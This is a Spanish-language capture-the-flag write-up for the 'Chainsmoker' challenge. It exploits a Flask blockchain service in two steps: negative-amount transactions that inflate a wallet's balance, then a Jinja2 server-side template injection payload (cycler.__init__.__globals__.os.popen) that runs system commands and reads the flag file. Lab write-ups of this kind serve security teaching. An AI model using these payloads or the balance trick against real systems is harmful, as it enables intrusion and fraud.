Chainsmoker
7 minutos de lectura
Se nos proporciona un script en Python llamado cli.py
que interactúa con la instancia remota. Además, tenemos código fuente en Python relacionado con Blockchain que está en ejecución en el servidor.
Otro archivo es bot_wallet.txt
, que contiene una billetera de Blockchain:
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Finalmente, tenemos un README.txt
que dice:
The flag is located at /app/flag.txt
Reconocimiento
El servidor remoto está ejecutando probablemente una aplicación Flask (nótese que el mensaje de respuesta HTTP aparece en letras mayúsculas, y también la cabecera Server
):
$ curl -i 178.128.173.79:31884
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: close
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
A lo mejor tenemos que comprometer el servidor para obtener la flag, ya que no hay ninguna referencia a la flag en los códigos que tenemos. Entonces, el objetivo será comprometer la aplicación Flask.
Configuración de la CLI
La CLI (cli.py
) comienza con una URL de un servidor local, que deberíamos cambiar a la instancia remota correspondiente:
wallet = None
SERVICE_URL = "http://127.0.0.1:5000"
Entonces, vamos a cambiarla por "http://178.128.173.79:31884"
.
La CLI ofrece estas opciones:
options = {
"help": help,
"wallet show": wallet_show,
"wallet generate": wallet_generate,
"wallet load": wallet_load,
"wallet save": wallet_save,
"transaction": transaction,
"mine": mine,
"pending transactions": pending_transactions,
"balance": balance,
"nodes": nodes,
"blocks": blocks,
"transactions": transactions
}
if __name__ == "__main__":
help()
while True:
i = input("Blockchain> ")
if i in options:
options[i]()
Análisis de la CLI
La única opción en la que podemos añadir entrada de usuario es transaction
:
def transaction():
global wallet
if wallet is None:
print("[!] Please generate/load a wallet first!")
return -1
recipient = input("Enter Recipient> ")
while True:
amount = input("Amount> ")
if amount.isdigit():
if int(amount) > get_wallet_balance():
print("[+] Cannot send more coin than you have!")
else:
break
else:
print("[+] NaN")
data = input("Enter Data> ")
tx = Transaction(wallet.address, recipient, int(amount))
tx.data = data
tx.sig = hex(wallet.sign_message(str(tx)))[2:]
#required = ['sender', 'recipient', 'amount', 'signature']
r = requests.post(f"{SERVICE_URL}/transactions/new", json={"sender": wallet.address, "recipient":
recipient, "amount": int(amount), "signature": tx.sig, "data": data})
print(f"[+] Sent Transaction: {r.json()['message']}")
Básicamente, se realiza una petición POST a /transactions/new
indicando las billeteras del emisor y del receptor (si usamos la CLI, podemos poner una dirección vacía para indicar nuestra propia billetera), la cantidad de monedas y otros datos.
Probando el servidor
La CLI verifica que tenemos suficientes monedas y que nuestros datos de entrada son numéricos, pero podemos comentar estas líneas e introducir datos maliciosos… A lo mejor el servidor no los valida correctamente. Este es el nuevo código (new_cli.py
):
def transaction():
global wallet
if wallet is None:
print("[!] Please generate/load a wallet first!")
return -1
recipient = input("Enter Recipient> ")
# while True:
amount = input("Amount> ")
# if amount.isdigit():
# if int(amount) > get_wallet_balance():
# print("[+] Cannot send more coin than you have!")
# else:
# break
# else:
# print("[+] NaN")
data = input("Enter Data> ")
tx = Transaction(wallet.address, recipient, int(amount))
tx.data = data
tx.sig = hex(wallet.sign_message(str(tx)))[2:]
#required = ['sender', 'recipient', 'amount', 'signature']
r = requests.post(f"{SERVICE_URL}/transactions/new", json={"sender": wallet.address, "recipient":
recipient, "amount": int(amount), "signature": tx.sig, "data": data})
print(f"[+] Sent Transaction: {r.json()['message']}")
Antes de hacer esto, necesitamos una billetera (wallet_generate
y wallet_show
). Luego, ejecutaremos transaction
. Por ejemplo, podemos probar con números negativos:
$ python3 new_cli.py
Options:
help | wallet show | wallet generate | wallet load | wallet save | transaction | mine | pending transactions | balance | nodes | blocks | transactions
Blockchain> wallet generate
[+] WARNING: KEYS NOT SAVED TO DISK
Blockchain> wallet show
[+] Address: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDeUs1OWF1SzVjZVpWUmc2MzZQbEU5REcrMQpmSE96SmI5TjhHWlFBNnQ2TzJrMUEzaU02ZXhwcmpVSElKWnFZaTQ0T1VUQm5xMXFtQlBPQmdtU0lHWEwyRTdXCnFPOTJDV1JFOThsNTRpQUhNM2NKaUVkemxucWRwdnZVUHhyd2FvRXhyQ3BlU3g1c2VNa0dpc1JwMVBvdWk3REEKcjd6Y0NZdERIWnUyK2ZpZFRRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
[+] Balance: 0
Blockchain> wallet save
Enter Wallet File Name> wallet.txt
Blockchain> transaction
Enter Recipient>
Amount> -1337
Enter Data> Testing
[+] Sent Transaction: Transaction will be added to Block 3
Tenemos que minar el bloque con mine
para que la transacción sea efectiva. Veremos que tenemos un balance de 1338
, por lo que el servidor es vulnerable:
Blockchain> mine
[+] Mining!
[+] Done! - New Block Forged (3)
Blockchain> wallet show
[+] Address: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDeUs1OWF1SzVjZVpWUmc2MzZQbEU5REcrMQpmSE96SmI5TjhHWlFBNnQ2TzJrMUEzaU02ZXhwcmpVSElKWnFZaTQ0T1VUQm5xMXFtQlBPQmdtU0lHWEwyRTdXCnFPOTJDV1JFOThsNTRpQUhNM2NKaUVkemxucWRwdnZVUHhyd2FvRXhyQ3BlU3g1c2VNa0dpc1JwMVBvdWk3REEKcjd6Y0NZdERIWnUyK2ZpZFRRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
[+] Balance: 1338
¿Qué ha pasado? Le hemos dicho al servidor que envíe -1337
monedas desde nosotros hasta nosotros, por lo que el balance se “reduce” como 0 - (-1337) = 1337
. Al minar el bloque, recibimos una moneda adicional, por lo que acabamos con 1338
monedas.
Interactuando con el bot
Ahora que tenemos dinero, vamos a mandarle al bot una moneda. Y ya de paso, vamos a capturar peticiones y respuestas a /mine
con Burp Suite:
def mine():
global wallet
if wallet is None:
print("[!] Please generate/load a wallet first!")
return -1
print("[+] Mining!")
r_last_block = requests.get(f"{SERVICE_URL}/last_block").json()
last_block = Block.from_json(r_last_block)
last_proof = last_block.proof
last_hash = last_block.hash()
proof = 0
while valid_proof(last_proof, proof, last_hash) is False:
proof += 1
tx = Transaction("0", wallet.address, 1)
sig = hex(wallet.sign_message(str(tx)))[2:]
#required = ['recipient', "signature", "proof"]
r = requests.post(
f"{SERVICE_URL}/mine",
json={
"recipient": wallet.address,
"signature": sig,
"proof": proof
}, proxies={
'http': '127.0.0.1:8080'
})
j = r.json()
if r.status_code == 200:
print(f"[+] Done! - {j['message']} ({j['index']})")
else:
print(f"[!] Done - {j['message']}")
Podemos cargar la billetera de un archivo y mantener el mismo balance. Vamos a realizar la transacción y a minarla:
$ python3 new_cli.py
Options:
help | wallet show | wallet generate | wallet load | wallet save | transaction | mine | pending transactions | balance | nodes | blocks | transactions
Blockchain> wallet load
Enter Wallet File Name (q to quit)> wallet.txt
Blockchain> wallet show
[+] Address: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
[+] Balance: 1338
Blockchain> transaction
Enter Recipient> LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount> 1
Enter Data> One coin
[+] Sent Transaction: Transaction will be added to Block 4
Blockchain> mine
[+] Mining!
Ahora obtenemos la petición en Burp Suite:
Y esta es la respuesta:
Si dejamos fluir la respuesta, mantendremos el mismo balance:
[+] Done! - New Block Forged (4)
Blockchain> wallet show
[+] Address: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
[+] Balance: 1338
Si el bot responde con otra transacción, deberíamos minar el nuevo bloque:
Blockchain> mine
[+] Mining!
Y obtenemos otra respuesta HTTP en Burp Suite:
Ahora tenemos dos monedas más. También podemos ver los datos recibidos mediante transactions
y el índice del bloque:
[+] Done! - New Block Forged (5)
Blockchain> wallet show
[+] Address: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
[+] Balance: 1340
Blockchain> transactions
Enter Block Index> 5
------------------------------
From: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
To: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount: 1
Data: Minimum Amount not met! (>= 1,000,000)
------------------------------
From: 0
To: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount: 1
Data:
------------------------------
Se deduce que tenemos que enviar un millón de monedas para conseguir algo.
Convirtiéndonos en millonarios
Entonces, vamos a hacer una transacción con un valor negativo para conseguir suficientes monedas:
Blockchain> transaction
Enter Recipient>
Amount> -100000000
Enter Data> Millionaire
[+] Sent Transaction: Transaction will be added to Block 6
Blockchain> mine
[+] Mining!
[+] Done! - New Block Forged (6)
Blockchain> wallet show
[+] Address: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
[+] Balance: 100001341
Genial, ahora vamos con la transacción de un millón de monedas para pasar el límite:
Blockchain> transaction
Enter Recipient> LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount> 1000001
Enter Data> Hi bot
[+] Sent Transaction: Transaction will be added to Block 7
Blockchain> mine
[+] Mining!
[+] Done! - New Block Forged (7)
Blockchain> mine
[+] Mining!
[+] Done! - New Block Forged (8)
Después de minar nuestra transacción y la del bot, veremos en Burp Suite que nuestros datos de entrada se reflejan en la respuesta:
Podemos verlo desde la CLI también:
Blockchain> transactions
Enter Block Index> 8
------------------------------
From: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
To: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount: 1000001
Data: Hello From LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3...!
You said: Hi bot
------------------------------
From: 0
To: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount: 1
Data:
------------------------------
Explotación de SSTI
Este hecho nos anima a probar payloads de Server-Side Template Injection (SSTI), ya que SSTI suele aparecer en retos relacionados con Flask. Por ejemplo, podemos enviar {{7*7}}
y ver si recibimos 49
:
Blockchain> transaction
Enter Recipient> LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount> 1000001
Enter Data> {{7*7}}
[+] Sent Transaction: Transaction will be added to Block 9
Blockchain> mine
[+] Mining!
[+] Done! - New Block Forged (9)
Blockchain> mine
[+] Mining!
[+] Done! - New Block Forged (10)
Y ahí lo tenemos:
Blockchain> transactions
Enter Block Index> 10
------------------------------
From: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
To: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount: 1000001
Data: Hello From LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3...!
You said: 49
------------------------------
From: 0
To: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount: 1
Data:
------------------------------
En este punto, podemos inyectar código en Python para conseguir ejecución remota de comandos (RCE). En PayloadsAllTheThings encontramos el siguiente payload para ejecutar un comando de sistema.
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Flag
Por tanto, vamos a poner cat /app/flag.txt
para ver la flag:
Blockchain> transaction
Enter Recipient> LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount> 1000001
Enter Data> {{ cycler.__init__.__globals__.os.popen('cat /app/flag.txt').read() }}
[+] Sent Transaction: Transaction will be added to Block 11
Blockchain> mine
[+] Mining!
[+] Done! - New Block Forged (11)
Blockchain> mine
[+] Mining!
[+] Done! - New Block Forged (12)
Blockchain> transactions
Enter Block Index> 12
------------------------------
From: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDZzN5RXgxckpaSTlaL1FYUDhkbFVDTnhwKwovSmtzYU5qY3dvbXcydmQwSFZBWEcyRmtPbm82V3VsaGZhRHNseVFYV2JjRjFQcmZoUGFPSlROMTBkQ3lSa0JrCnJ1TlA4NnRMYUFQVnYvWnJObVpxSzhxSGZBRThvaG9tbWFnRkQ2NDlpVG5lNUdyV211TWJ1N3NiYmNXcWl6RnkKVjZKOGRZRU9JQUpUTU9Ra3V3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
To: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount: 1000001
Data: Hello From LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3...!
You said: HTB{w34k_Rs4_4nD_T3mPl4t3s___Wh4t_h4s_tH3_w0R1d_c0m3_t0?!?}
------------------------------
From: 0
To: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEcnJzbjkzTWxoSE1qTVNHWTc5bjhuVWozUwpSQm82SmYwMVpOSTExaGREejFWY2xlSGIrZ0xIVEFmZXM2TFFGeWpEa1VLdWlHZDRYblprOVRWd1pMUDM5NjQ1ClRFVHhETENFbDJEWE9rQWZhMFZWSGd4MTh3NnVEZm42ZGcvRXgxSnBmYW5WNkRTTGF2dnFWamYvUW8ydmRiK2YKTE9IQ2E0SkwrNng3SHVsRlNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==
Amount: 1
Data:
------------------------------